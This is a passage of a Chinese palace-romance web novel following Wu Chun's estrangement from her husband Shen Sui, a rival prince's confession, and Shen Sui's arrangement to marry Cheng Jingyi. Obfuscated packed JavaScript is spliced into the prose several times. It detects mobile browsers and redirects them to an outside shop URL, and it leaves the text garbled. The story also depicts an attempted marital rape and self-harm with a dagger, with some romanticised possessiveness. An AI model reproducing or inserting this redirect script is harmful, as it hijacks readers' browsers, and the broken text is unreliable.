“是。” “他有没有要你带什么话?” 小太监摇摇头,“三殿下一句话也没有说。” 乌春叹了口气,“知道了,下去吧。” 惊莲端过来一碗汤给乌春热热身子,“殿下您这到底是希望他来找您,还是不希望他来找您啊?” 乌春心底渐渐漫开一股酸意,“惊莲,我以为我会很高兴,目前的一切都按照我的计划进行着。可……可我亲手杀了我自己的孩子,那是一条无辜的性命,我的手是用来行医除恶的,我……我……”她的声音逐渐带上了一丝哽咽,“我还给沈绥下了药,也不知那一晚成静仪的清白有没有保全,沈绥不娶她,我岂不是间接毁了她的清誉……” “这不是您的错,人各有命,只能保佑那孩子来世投个好胎。成静仪本来就费尽心思想要嫁给三殿下,她自己不也说了,若是三殿下没娶她,也不后悔。您就别自责了,咱们把这些都忘了,一心想着怎么离开才是好的。” 乌春喝了汤,又睡了会儿,身子依旧疲乏。 待到沈绥回宫来接她去户部侍郎府上时,乌春的身子才刚刚好。 马车停在了毓宁宫的门口。 乌春今日穿得极其厚实,裹着天青色的兔绒披风,脸上只用脂粉妆点了气色,站在一片缟素的天地里,就像是用雪堆出来的雪人。 “娘娘,殿下在外面等您。” “知道了。” 之前这种场合,沈绥都是会来亲自引着她上马车的,现在是连马车也不下来了。 乌春过去之后,扶着惊莲踏上马车,刚一掀开帘子,就对上沈绥那双漠然无波的眼。 数日不见,她才觉出,原来先前沈绥看她的眼睛,不是这样淡然的。 乌春心头颤了一下。 她硬着头皮往车里磨蹭,一不留神踩着了一块突起的横梁,险些跌倒的时候,一只修长的手伸过来拽了她一把。 冰凉的触感,像他的眼眸。 拽的力道有些野蛮,几乎是将她摔到他身边,像是在发泄什么。 乌春也不知该不该道谢,但还是说了声多谢,没有得到他的回应。 一路上,两人无话,只有车轱辘缓慢地碾在刚刚清扫了不久的道路上发出的吱呀声,苍青的空中落下几片雪花,都显得沉重有声。 到地方之后,乌春本来以为沈绥好歹下去的时候会拉她一把,没想到他掀帘下车后,便站在了一边,她小心提着裙子慢吞吞地下来,披风还落在横梁上,沈绥走过来,将她的披风一手就提起来,松手,披风就像花瓣似的落下来。 乌春对上沈绥的视线。 他转身打算往里走,乌春却顿着未动。 沈绥回过头平静道:“你这般恨我,难道还要我牵着你进去?” 乌春觉得有些难堪,维持住体面,“自然不是,臣妾近来身体有恙,刚好不久,风吹得有些冷。” 也不知沈绥听进去没有,一句关切她的话也没说,等她走过来后,便迈开步子往户部侍郎府里走。 不同于她和沈绥,户部侍郎府上一片热闹喜庆,府里已经来了不少人。沈绥和乌春找了个不怎么起眼的位置坐下。 大梁繁文缛节多,成婚的仪式复杂,乌春无聊许久,索性出去走走,起身的时候,沈绥抬眸看了眼她,并不多管。 乌春碰到了成静仪。 见她脸上并没有什么后悔的神色,乌春也当上回是她心甘情愿。 没什么好说的,乌春打算绕道,成静仪却唤住她,“皇子妃娘娘。” 乌春回过头看她,“你竭尽心思想要嫁给沈绥,我帮过你了,你若是还要我帮你,那我定是不干的。” 成静仪道:“娘娘想岔了,只是小女一直有一个疑问,为何您同三殿下的关系,和寻常夫妻如此不一样?哪有您这样处处避着夫君,甚至还想方设法给夫君纳妾的?” “这同你没什么关系。” 雪停了。 庭院里的山石和绿梅却积着厚厚一层雪,扑簌簌地往下坠着雪沫。 乌春语气并不好,瞧在成静仪的眼睛里,就仿佛是有什么难言的苦衷,“娘娘若不嫌弃,说与小女听,小女可以为娘娘排解忧愁。” 正巧的是,沈珩也从此处经过,恰巧听到了她们的这段对话,心下微微狐疑,为何乌春会和成静仪有瓜葛,立在不远的走廊拐角处听着。 乌春道:“我不喜欢沈绥罢了,没什么别的原因。” “可您与三殿下日夜相对,总该有些感情,您不喜欢三殿下,可是心里有其他人?” 沈珩的手捏紧了。 “我有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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酒杯最终没有落下来,被一只冷白的手打歪,酒水在空中撒出一条扇子似的弧线,落在雪中很快没了痕迹。 沈绥手肘一带,官员的手就发出咯咯响声。 “啊啊啊——疼疼疼——救命!” 沈绥嫌脏似的手一甩,男人霎时跌倒在雪地里,沈绥掏出帕子擦了擦手,“刘大人若是手痒,可以找郎中治一治,若是治不好,砍了也行,眼睛若是瞎,不如趁早挖了,也省得胡乱认人,平添麻烦。” 官员这才睁开眼睛看清楚,站在他面前的是三皇子,那貌美的女子自然是他的皇子妃,他一个小小的县吏可惹不起,一溜儿道歉跑了。 沈绥的看了眼乌春,漠然的眸子,时间有些长。 乌春不知道他这一眼有什么含义,难不成是在检查她身上有没有受伤吗? 还没想过来,沈绥就已经走了。 “殿下,等等我。” 乌春小跑过去,不留神被裙子绊着摔了一跤,“哎呀”一声。 沈绥没有回头,却立在那里不再往前走了。 乌春自己爬起来,看着他的背影,“你好歹也陪着我走过去啊,要是还有这种人怎么办?” “你倒还真是会利用人。”沈绥冷冷嘲讽,重新迈开步子,留下乌春一个人立在雪地里。 36. 喜欢 过了黄昏时分,这场婚宴便散了场,乌春和沈绥同乘一辆马车回宫,依旧一路无话。 中途乌春有些疲乏,昏睡了过去,在黑沉的睡梦中,不知过了多久,再醒来的时候,竟然一个人在车里。 身旁的人早已没了踪迹。 她直起身,才发现喉下有些勒,原来是自己的披风系带打了个复杂的结,打结的时候不晓得力道,收得紧了些,可这结的系法…… 不是她自己系的。 乌春掀开帘下去,外面已经是夜星如缀,寒风中逢春殿的一点灯显得像是海上的孤舟。 宣阳殿依旧漆黑一片。 乌春叹了口气,心下也不知是唏嘘还是旁的情绪。 到底还是走到了这一步。 夜深了,乌春刚走入逢春殿不久,沈珩就来了。 沈珩怀中抱着一瓶红梅,递给玉梨,对乌春笑道:“今日有人送我此物,我觉得此物衬你,就送与你罢。” “多谢泽安王。只是夜已深了,泽安王可是有什么事?” 因为冬夜的风砭骨,乌春吹不得,只好把泽安王请入逢春殿中说话,孤男寡女,又是哥哥和弟妹的关系,在夜里共处一室实在有些不合规矩。 乌春倒不怕,只是觉得奇怪,泽安王平日还会避着嫌,今夜这是怎么了。 沈珩凝视着她道:“我听说,你在逢春殿过得并不好,对三弟也很嫌恶,甚至……”他斟酌了下用词,“甚至想着为他纳后宅来分散他对你的爱意,你有没有想过,除了离开大梁回到南疆之外,”沈珩垂下眼,“其实还可以寻求别的倚仗。” 他知道这些,乌春也不算意外,也不怕他说出去,只摇头道:“看来泽安王都知道了,我的确想让沈绥纳妾,这样他就不会来烦我,不会来找我,我也能落得个清净自在。我不喜欢大梁的皇宫,自然是要逃到皇宫之外的地方的,南疆于我,是最好的选择。” “我既身为南疆公主,在大梁除却皇子妃的身份,便什么也不是了;但若在南疆,我有地位声名,还有爱护我的哥哥和臣民。” 沈珩道:“你说的这些有道理,却没有考虑,若是你在大梁另择权贵之家呢?” 乌春心里一惊,听沈珩的意思,莫不是他想要她嫁给他,然后……他争夺皇位? 不可,万万不可。 她并不觉得在争夺帝位一事上,沈珩对上沈绥,能有多少胜算,并非沈珩不会谋划收兵,只是沈绥那人,实在太过可怕。 “泽安王有心,但恕我眼界狭窄,只想着逃离大梁。” 沈珩眼里似乎溢满了惋惜,“你可知,你本来就该是我的王妃?” 乌春往后退了一步,“泽安王慎言。” “你若是做我的王妃,便不必承受如今的所有,话已至此,我便不再瞒着了,我对你,并非寻常兄长对于弟妹。”沈珩自嘲似的笑了笑,“说来惭愧,我有仁德宽厚的声名,却心思如此龌龊。” 乌春瞧见他眼里隐隐布着血丝,也有些怕了,“天晚了,泽安王今日喝了酒,我就只当你说的是胡话,只当什么也没有听到,还请离去吧。” “若是你有所求,还可以来找我。” 沈珩伫立了良久,看了乌春良久,看得她都发怵,终于打算走了。 刚一走,今夜都本不应出现在毓宁宫的人,来到了逢春殿。 乌春登时慌了神,自知他不可能去而复返,也不知他在外面是不是将方才沈珩进殿都看了全,只好跪下行礼,“给殿下请安。” 沈绥冷笑,“请哪门子的安?我要是早点出现,是不是就要坏了你们的郎情妾意?” 乌春辩解道:“泽安王只是来送梅花的,就在墙角。” “送梅花?送梅花用得着特意入逢春殿,逗留这么久?”沈绥弯下身,两指猛地将她的下巴抬起! “喜欢他是么?” 他夜空般深沉的眼笼罩着一层云霭似的戾气,乌春真要觉得他恨不得将自己掐死了。 “我们什么也没做,只是多说了几句话罢了。” “我问你喜不喜欢他?!”沈绥似乎在压抑着,忍得额角的青筋都凸起,嗓音冷而沉。 有没有什么能够彻底让沈绥对她失去耐心,对她失望,哪怕是她死了,他也不会追查的法子? 她觉得是有的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376753|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >于是对上他的视线,一字一句道:“我喜欢他。你能如何?” 那一瞬,乌春觉察到沈绥的手指剧烈地颤抖,他的眸光像一面镜子寸寸碎裂,“你怎么敢?” 凉风呼啸,穿过淡月疏星,穿过碎琼乱玉,将窗子都吹开半扇,直直往沈绥的肺腑里灌,也灌了乌春满面的凉。 乌春推他的手,他的手却有铁似的力道,无论如何也不松开她,像极了他们纠缠两世的孽缘,他一把将乌春提起来,扔到榻上,乌春重重地弹了下,他压下来,几乎遮挡了所有的光。 “你既然一开始就喜欢他,为何当初还要……”沈绥说到一半却骤然顿住,眸中凝聚着疼意。 当初她做了什么?乌春想不起来,只记得当年她对他是真心的好,为他做的事太多,以至于随便提起一件,她都觉得寻常到不能够记住。 “罢了。”沈绥眉心折起,凶狠道,“你既然喜欢他,我便偏不如你的意!” 大力的撕扯让乌春顷刻间浑身遍布凉意,在他即将进入的一刻,她疼得瑟缩起身子,恨恨盯着沈绥,仿佛一把刀剜在沈绥的心上,沈绥的兴致登时磨灭了大半,也厌恶着这样失控的自己。 沈绥起身披衣离去,吩咐底下人在毓宁宫加一道锁,不准许外男入内,若有违令者放人进来,诛。 他神情阴鸷得可怕,像传闻中的阎王爷,没有人敢跟在他后边,他便一个人在黑夜中离去,一身白衣像是有形的鬼魅飘荡在世间。 既然当初便不喜欢他,为何还要拦那条鞭子?为何当初还要对他好?为何当初温言软语,才不过几月,她就变了。 看见她做尽大逆不道的逾越之事,坐在墙头屋檐上笑得明媚如春花,绽放着盎然蓬勃的生命力时,他承认,他对她有纵横的欲念。 可为何,她不再对他好了。 她的爱都去了何处? 沈绥想杀人,想杀了沈珩,杀了她,然后杀了自己…… 他太恨。 …… 乌春窝进被褥里,只觉得心有余悸。 她才落胎不久,现在的身子不能做那事,还好拦住了。日后他应当也不会再来了。 37. 侧妃 这年冬日乌春过得格外冷清。 沈绥自上次之后,便有大半个月没有回来过,毓宁宫落了锁,放在旁人眼里不知道的还以为沈绥金屋藏娇,实际上,是乌春被他囚禁住了。 沈珩再也没有一点消息能传进来,不过她出宫之后的安排早在之前他都已经准备妥当,也没有再跟沈珩接触的必要。 偶尔公主还会来看一看她。 许久没见过沈璎了,这姑娘又出落得漂亮水灵了些。也不知会不会便宜了萧怀文。 沈璎也进不来,只在外面托人捎东西,用一根竹竿挑起来,隔着宫墙送进去,有时候是糕点,有时候是小玩意。 乌春看着沈璎送进来的东西,忍不住问自己:在这皇宫里,她当真一点留恋也没有吗? 再过几天,院子里的梅花都有凋谢的迹象,几乎很难闻见雪中暗香的时候,宫外传来了一道沈绥的消息。 来捎话的是常安,他毕恭毕敬地问:“娘娘,殿下过些时日要纳成将军府上的二姑娘为侧妃,按照礼节,需得给您捎句话,您若是同意了,小的便过去交差。” 惊莲和玉梨几乎是同时一惊,去看乌春。 乌春反倒是露出一丝恬淡的微笑,“他要纳侧妃,我又有什么好不同意的?只管去吧。” “是。殿下让我问您一句好,您好生在殿中休养,天寒地冻,仔细着自己的身子。千万别冻坏了,殿下可是又要心疼的。”常安话说得圆润。 乌春只是笑笑。 话传到了沈绥那里,沈绥正在翻看卷宗的手指在书页边缘一顿,嗓音冷静如冬日湖水的冰面,“知道了。” 常安走了之后,沈绥方抬起手指,正要翻书,却发现指腹上多了一条细小的口子,血珠子刚刚渗出来。 …… 常安一直跟着沈绥做事,不管是在宫里,还是在沈绥办差的时候,有什么琐碎的事情,沈绥就使唤他。 当下人的,最重要的就是会揣度主子的内心。 常安自诩深谙人心之道,在伺候沈绥之前,也同村子里一个姑娘爱得死去活来过,但他看不懂三殿下对三皇子妃到底是怎样一番心。 若是不喜欢,怎么会在外办差瞧见了胭脂铺子,还想着捎回去博娘娘的欢心? 若是不喜欢,怎么会差他来去宫中,传她的近况? 每次他回话的时候,殿下表面上漠不关心,可只要他不把话说得委婉一点,说娘娘很是思念殿下,殿下都要皱起眉头,一连几天没个好脸色。 可若是喜欢,怎么会冷落娘娘这么长时间? 娘娘那天仙似的的美人——在常安贫瘠的语言里,天仙是他对一个女子容貌最高的赞美——殿下若喜欢,怎么舍得放着这么个美貌妻子不闻不问? 常安想破了头也没想明白。 在二十日前,他总算是明白了一点。 那日刚刚停雪,也是十旬休假的日子,殿下昨日从毓宁宫中回来,一早便起了,也或者一宿没睡,在屋子里煮茶。 成二姑娘来拜访。 常安觉得成二姑娘也生得很美,跟娘娘还有三分肖像,像的地方在于那脸生得白净乖巧。 常安带着成静仪进去。 打开门的时候,两人具是一惊。 地上一片狼藉,书籍凌乱地铺散,几块碎玉潦草地躺在一起,还有歪倒的小几,不知道的还以为这里进了贼。 常安赔笑,“殿下,昨夜小的睡得太死,没听见这里的动静,没来得及进来清理。您看是先让成姑娘在外侯着,容小的清理,还是……” “让她进来。不愿进来就站在外面说。” 这话也太直接了,成二姑娘好歹也是客人,殿下可是一点面子也不给她。 常安尴尬笑笑,“姑娘的意思是……” “无妨,我进去说罢。” 成静仪将伞放在门外,走进去的时候,带来几片雪沫儿。沈绥站在窗边倒茶,只倒了一盏,袅袅白雾笔直地升起,放在唇边抿了一口。 成二姑娘对着他的背影细声细气道:“殿下,家父托我给你带来一个东西。” 沈绥动作一顿,看了一眼常安,常安立刻会意:“是,小的这就下去。” 成静仪自然不是受成统的指使来的,她是在家里发现了一封密函!这封密函放在成统书架之后的暗格里,平日里她没什么机会能够发现,但那一日她被嫡母刁难,告状告到了成统那里,成统让她暂且先在他屋子旁边那间空闲的屋子住几日,然后人便走了。 成静仪也想过,在预知梦里,沈绥最后称帝,倚仗的是什么呢?沈绥为什么那夜会和父亲夜聊到子时?有什么是只能在夜深人寂的时候说的? 她壮着胆子在成统的屋子里搜,发现了暗格后的一封密函。 这密函上面的东西可了不得! 她自然不敢带出去,只敢匆匆扫过,记住几句关键的话,写了下来。 然后交到沈绥手上。 沈绥看了之后,只是抬起一双布满血丝的漠然的眼,“你是来求死的?” 成静仪道:“自然是不敢,只是斗胆以此来求殿下庇佑。” “你要挟我?”沈绥将那张纸放在蜡烛的火焰上,看着它燃烧成灰烬。 “不敢。我一介弱女子如何能要挟得了您,您若是现在杀了我,想必也易如反掌,可我在成府长大,过惯了谨小慎微的日子,只想活下去。” “大梁二皇子已死,泽安王手中筹码远不及您,您既有人马,又名正言顺,还能借当年之事凝聚人心。” “小女深觉您是可以倚仗之人,小女不求能有荣华富贵,只求能在多事之秋,保全一条性命。” 烧完了纸,只余下一堆灰烬的时候,沈绥终于抬眸,冷笑一声,“之前想尽心思要我娶你,也是为了这个?你倒是胆子大,自古成王败寇,就知道这么一封信,也敢在我身上赌。不怕我死了?” 成静仪摇头,“不怕,我相信殿下能做成任何事。” 沈绥道:“我倒是现在才看出来,你还有几分聪明。” “殿下过奖。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404365|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“这世上知道这事的人,多一个不多,少一个也不少,纵你是成将军的爱女,我也未必会放你一条命。你既然敢将这东西递到我面前,应当已经做好了会死的准备,我便也直说了。” 沈绥看着一地的狼藉,眼前却浮现起乌春昨夜说着“我喜欢他,你能如何”的画面。 “要我娶你,也不是不可。” 成静仪按捺住狂喜,“殿下要我做什么?” 原来这么多天,她对他所有的笑靥,都只是逢场作戏,她在他身下沉浮的时候,是不是在透过他看另外一个男人?她到底有没有对他半点真话?当初为他挡尚宫的鞭子又是为了什么呢? “殿下……?” 沈绥回过神来,“你能为我做到什么地步?” 成静仪微愣,很快答道:“我自然愿为了殿下赴死。” 沈绥脚边恰好摔落了一把匕首,一脚踢过去,滑到成静仪脚下,“空口无凭。” 成静仪怕得要命,真的以为沈绥喜怒无常,要把她杀了,可她瞧着他那修罗似的样子,又不敢忤逆,想着先拖延时间,拿起匕首,在自己手腕上猛然割了一道! 鲜血如注。 见沈绥没什么波澜地瞧着那几乎能令像她这样的小姐吓晕过去的鲜血,她将匕首横在自己脖子上,“殿下原来是想杀我,我当真毫无反抗之力。” 那匕首削铁如泥的刀刃在她脖颈划出了一条血线,成静仪都能感觉到脉搏的跳动,冰凉的质感切割自己的肌肤,再多一分便是脆弱的咽喉,和她的生命。 “铮——” 虎口一震,匕首摔落在地,成静仪睁开眼,见地上匕首边,躺着一枚小巧的银铃铛。 沈绥捏了捏眉心,状似极其头疼,低哑道:“滚出去。” 成静仪不敢多待,很快就走了。 常安在外面瞧见了成静仪出来的模样,吓得几乎魂魄出窍,忙跑进去看沈绥,见他安然无恙,方松了口气。 屋子里沈绥站在窗边,安静诡异得不像是个人,常安不敢多待,道了声“您方便的时候唤小的来收拾东西”便跑了出去。 常安是在一日之后,沈绥说要娶成二姑娘,要他去成府问一问成将军的意思,才想明白,难道殿下是因为跟成二姑娘切磋武艺,赏识成二姑娘,所以想娶她吗? 原来殿下喜欢会武功的姑娘啊! 可成二姑娘也不像是会武功的样子啊。 常安只知道,殿下也许喜欢成二姑娘,但宫里的那位就说不准了。 …… 一个为了谋个活路演戏的人,尚且敢用匕首划手腕,就算是佯装割喉,也实实在在割了条口子。 他沈绥的枕边人,却可以毫不犹豫地说,她喜欢的从来都不是他。 沈绥的唇紧紧地抿成了一条线,寒风经过他都怕得绕了个弯。 你说,这世上的爱到底是什么? 沈绥将那支雕刻多时的玉簪猛地一摔,碎玉琼珠迸射出来,在地上弹跳两下后没了动静。 他真是厌极了自己。 38. 醉酒 沈绥和成静仪的婚期定在来年开春之际。 玉梨听了,不可置信道:“来年开春?算算日子,还有一个月的时日,这一个月中莫非没有良辰吉日了么?非要在明年春天?三殿下是不是忘了您的生辰就在开春之后不久,这岂不是……”她的声音渐渐小下去。 乌春道:“他兴许本就不记挂我的生辰,成个婚罢了,既然是来年开春,那我们不就有更多的时间筹备了吗?” 筹备? 玉梨还没反应过来,惊莲已开口道:“原来殿下也不愿看到三殿下成婚啊。” 乌春眼睫却忽然一颤,像是被戳中了什么心思,“我自然是不愿,不论爱不爱他,谁愿意看到自己夫君欢欢喜喜纳妾呢。” 她不可能像大梁许多贤良淑德的大家闺秀那样,打理后宅,一心为夫君谋划,哪怕明知自己的待遇不会像从前一样,还要给夫君纳妾。 这一年过得很快,仿佛陈皇后的那场春日宴是昨日的事情。又下了几场雪,院子里寥寥梅花被雪压得分不清真容,冬寒萧索,冷冷清清,到了年节之时,毓宁宫内外挂上红灯笼。 在红灯笼熹微的映照下,沈绥回来了。 沈绥穿着黑色的氅毛大衣,内里是深湖蓝色的交领,喜庆的节日,却在他身上感受不到半分喜悦,只觉得沉冷阴郁。 毓宁宫里为了他的归来,已经在宣阳殿内摆了宴席,乌春瞧见他进来了,低着头福了福身子。 沈绥从她身边经过,带起一阵凉风,过了两步之后,才道了声“起来罢”。 两人在席间坐下。 年节是一年当中最喜庆热闹的日子,乌春应当说些吉祥话,却一句也说不出来,外面隐约爆竹声声,更衬得相对寡言。 下人们都有眼色地退了下去。 沈绥动了动筷子,又似乎有些心烦意乱,放下来,“这些天不见,你就当真一点话也没有想说的吗?” “殿下想听些什么呢?要臣妾祝殿下与成二姑娘白头偕老?还是早生贵子?”乌春的语气徐缓,仿佛这些都和她不想干。 沈绥眉心一蹙,将她的手拉过来,瞧着她细若削葱的手指,“有些事,其实是有回旋的余地的。” 乌春的手在他掌心显得小极了,她平缓道:“殿下现下说这些做什么呢?若是我说不想让殿下纳妾,殿下就不纳妾了吗?” 他的本意本来是这样的,可被她直截了当地说出来,他又觉得自己不能这样,这样就像沉溺在一张有毒的温柔的蛛网里,会让他麻痹,会让他有弱点,他不需要这些多余的感情。 沈绥又松开她的手,“你想得太多了。” 乌春手指一蜷。 他开始吃菜,然后是一杯又一杯的酒,喝完了还唤下人来续上,冷白的面皮都渐渐染上一层薄晕,到了最后,头疼得紧紧皱起眉头,反手扔了酒壶,银壶在地上咚咚滚了几圈。 乌春看他精神不济,便打算叫人来服侍他沐浴更衣睡觉,话刚要出口,沈绥捂住她的嘴,“你来。” 掌心的纹路粗糙,拂过她的嘴唇。 咸的,烫的。 月色正旖旎。 乌春只好搀扶起他,他生得真是高大,沉沉压下来山似的,她咬牙拽着他,用力半天却挪不动,一抬头发现沈绥正微眯着眼好整以暇地打量她。 看她笑话似的。 乌春莫名恼了,一松手,沈绥没了支撑,摇晃两下,直直倒了下去,发出沉闷的一声。 “啊。”乌春也没料到他真醉成这样,蹲下身去查看。 沈绥的墨发瀑布似的披散开来,月光落了存许在脸上,恰巧将右眼照出玉石似的光泽,醉时比平日少了许多锋利凛冽的棱角,如林下君子,玉山将倾。 眼神仿佛失了焦,倒映着她的影子,又好像没在看她。 “喂,沈绥?”她拍拍他的脸。 他的眼睫毛颤了颤,眼睛一眨之后,宛若看清了她,伸手将她一拽。 乌春冷不防摔在他身上。 温热的酒气湿漉漉地吹拂在面上,本来应该是不好闻的,在沈绥身上,混合着他那股木香,竟显得可以接受。 “你醉了。”乌春望进他的眸子。 “我没醉。” “你醉了。” “醉的是你。”沈绥一翻身,将乌春压在身下,玉冠歪斜,他索性拆了,扔在一边,头发便冰冰凉地落在乌春身上。 好像很久没有和沈绥这般亲密,乌春蛮不适应地别开头,又被掐着下巴掰回来。 他深黑的眼看得乌春心头一跳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437652|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈绥低头吻了下去,少见地温柔,吻片刻,就在她唇上啄片刻,舔舔她的牙齿和唇角,仿佛把玩一件玉石宝贝。 乌春趁着他停顿的功夫,哑声唤道:“沈辞宁,够了。” 他气息一顿,而后低笑一声,“不够。” 又去吻她的脖颈,吮吸她的耳垂,手指一挑,她的衣带尽数散开,他手伸到她背后,将她紧紧搂住,发出一声低沉的喟叹。 “再给你一次机会,想好了再说。” 他在打什么谜语? 乌春怕冷,微缩着身子,手指攥着沈绥的衣襟,像是离不开沈绥似的。 他搂得很紧,冰凉的布料摩擦着她的身子,乌春几乎找不到呼吸的间隙。 一边想办法从他的双臂间溜走,一边胡乱道:“祝愿殿下岁岁平安,征战顺利凯旋,悬案真相大白,新婚圆满甜蜜……” 虽然只是敷衍,乌春也觉得稀奇。 听到最后一句,沈绥抚摸着她的肩胛骨,对她的答案并不满意,“重新说。” 他到底要她说什么啊? 乌春想了想,反正他也醉了,她说的也不是真话,随便说说罢了,道:“我喜欢殿下。” 她感觉到后背的手掌缩了缩,她的肉都让他捏得生疼。 “疼,你松开我。” 沈绥仿佛听不到她的话,低下头又吻她,他像是愉悦了不少,吻的时候力道加重,却又并不粗鲁,在她耳边呢喃,“还有呢?” 乌春实在不知道还有什么好说的了,索性保持沉默。 他却一路吻了下去,吻得乌春浑身战栗。 她是要走的人,不能再和他耽误,和他的任何牵扯和柔情都不应当有,他们两个人就不可能和甜蜜二字放在一起,生来就要拼得头破血流。 一段孽缘。 乌春抓起手边滚落的银壶,在他脑袋上敲了一下。 沈绥晕了过去。 乌春终于松了口气,穿好衣服,慌乱地找下人来,然后跑回了逢春殿,月色在她脚下迤逦。 …… 哪怕是很久以后,乌春也不知道沈绥那夜到底想听她说什么。如果她说了他想听的,会发生什么呢? 永清二十二年的新年夜,她在大梁皇宫和沈绥见了最后一面。 39. 走水 翌日,沈绥头疼着醒过来,下人送来醒酒汤,沈绥不是喝醉了会忘记事的人,看见褐色药汁里头倒映着自己的眉眼之时,已经想起了昨夜。 他捏了捏眉心,有些懊恼。 她分明是恨着他的,也并不喜欢他,他怎么就因为她的几句谎言那般欢喜? 沈绥越发觉得荒唐,将醒酒汤一放,便披衣而起,离开了毓宁宫。 他走的时候,东方尚且是鱼肚白,满庭玉树琼花与花灯红绸,一年中最盛大的节日如飞雪掠过眼前匆匆逝去。 他想,昨夜应当是有烟火的,她是喜欢烟火的,也不知瞧见了没有。 这一年的这一日,对他来说依旧是一个很平凡的日子。 平凡到不久后想起来,心如刀绞。 年节过了不多久,乌雷送来信和礼物,乌春看过之后,小心收了起来。 时日渐暖,冰雪消融,大地葳蕤,很快就要到沈绥和成静仪的婚期了。 说是按照礼节来,宫里的下人们准备起来,便一板一眼地准备,沈绥一分多的待遇都没给成静仪。 只不过成静仪住的地方和乌春的院子挨着,偶尔透过窗子还能看见忙前忙后修缮宫殿、布置婚事的下人们,那红布和灯笼在眼中瞧着刺目极了。 “娘娘,您看要不要寻个您午睡的时辰,再让他们来搬东西,或者晚上您歇息了,让他们打着灯笼来……”阿贵小心翼翼问。 乌春摆摆手,“不必了,你们这些当下人的也不容易,沈绥不在,你们随意就好。成姑娘早晚也是要嫁进来的,你想啊,我若是现在看不过眼,难道以后就看得过眼了吗?还不如想开些,给自己过过清闲日子。” “娘娘通透。” 惊莲道:“阿贵,前些日子娘娘未被封锁的时候,你和泽安王传话,也算是帮了娘娘不少,这是一点赏赐,你收着,待娘娘走后,你就赶紧出宫吧,经商或者回乡都好。” 阿贵奇道:“何出此言?娘娘这么快就要……” 乌春微微一笑,“这是好事。” “奴才明白,不该说的绝不会说。” 在沈绥娶成静仪的前几天,乌春做了个很长的梦。 梦见前世的梨花白霞之下,她长久地望着他会归来的方向,那时候就连红墙的颜色都是明媚鲜艳的,她所有的少女的天真,都安放在这个男人身上。 沈绥终于回来了,她已落了满肩的雪白。 “殿下。”乌春矮身,被沈绥托起来,手掌拂去她肩上的花瓣。 “一段时日不见,爱妃怎么变傻了许多。”他玩笑道。 彼时她看不懂他的笑容,以为他也是真心的,在大梁皇宫,他的确是她唯一的倚仗,前世被吊上昭天塔之前回忆中的诸多温暖,都和沈绥有关。 他一笑,乌春就脸红,“臣妾才没有。” 沈绥的目光忽然落在远处,“那是什么?” 乌春循着他的目光望过去,只见红墙下空空,什么也没有,脸颊冷不防触到一抹温热。 是沈绥低头吻了她。 一转头,便对上他似笑非笑的黑眸,乌春如触针尖似的缩回视线,“殿下是三岁小孩吗,这般戏弄我。” 沈绥欣赏着她脸上的阵阵粉霞,透出几分风流的意味,“这怎么叫戏弄?要不要……做点小孩子不能做的事?” 在宫里期待与等候的时日中,除了凉透肺腑的穿堂北风,其实也有一些叫人分不清真假的、他们最纯粹的时候。 乌春总是会跟沈绥说,“我想要看日照黄沙的瑰丽,想要看雪满天山的诡谲,想要看云蒸霞蔚的怡然,殿下,有生之年还能带我去吗?” 沈绥用手指剜了一下她的鼻子,“什么有生之年,说得好像你我命不久矣一般。” 他脸上的笑意很淡,乌春以为他只是不喜欢这个话题,可后来才想起来,他分明连前段话都没有回应,想来也是觉得她可笑。他一介要做江山之主的人,怎么可能陪她浪迹天涯胡闹? “可是殿下分明是不信这些的。殿下从来不信一语成谶,从来不信鬼神命运之说,殿下说过,您只信自己。” 沈绥并不反驳,“我确实不信。但你日后少说这些话。” 乌春泄了气似的,“知道了。” 他是随手就能扔掉他自己的平安符的人,每次经过世人敬仰崇拜的寺庙时,从来不会多看一眼,宫里祈福的仪式,他向来只坐在角落。 若真有神佛,怎会纵容人间诸多不公?若是有,应是神佛无能,不如人力! 梦里的梨花纷扬如雪落下,预兆着一场盛大的离别。 火光从天边一路蔓延,像一条势不可挡的磅礴巨龙,在她等待沈绥的时候,毓宁宫烧了一场无处可逃的火。 她在火海里,感觉不到疼,只隐约看到燎人的火焰中,有一人踉跄而来。 是你吗,沈绥? “咔哒。”枝丫断裂的声音将乌春从梦中唤醒,天色欲曙,窗户纸的一片惨白中却透出几分不远处亭香殿的喜庆红色。 乌春阵阵恍惚,手背上一滴冰凉,才发觉自己不觉间落了泪。 “殿下,您怎么哭了?莫不是想家了?我们很快就可以……”惊莲给她擦眼泪。 “抓紧收拾罢。” …… 沈绥娶成静仪是在一个初春绽蕊的晴朗日子。 